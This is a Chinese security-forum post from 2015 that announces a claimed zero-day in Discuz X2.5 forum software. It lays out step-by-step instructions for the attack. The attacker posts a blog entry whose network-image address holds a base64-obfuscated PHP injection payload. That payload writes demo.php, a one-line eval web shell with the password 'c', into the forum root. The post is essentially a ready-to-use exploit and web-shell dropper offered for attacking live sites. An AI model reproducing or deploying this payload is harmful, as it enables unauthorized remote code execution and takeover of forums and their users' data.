flk网络安全吧 关注:43贴子:91
  • 0回复贴,共1

diz X2.5 出0DAY啦~~~通杀!!!

只看楼主收藏回复

利用方法:
1.注册任意账户
2.登陆用户,发表blog日志(注意是日志)
3.添加图片,选择网络图片,地址
{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4.访问日志,论坛根目录下生成demo.php,一句话密码C


来自手机贴吧1楼2015-02-08 19:21回复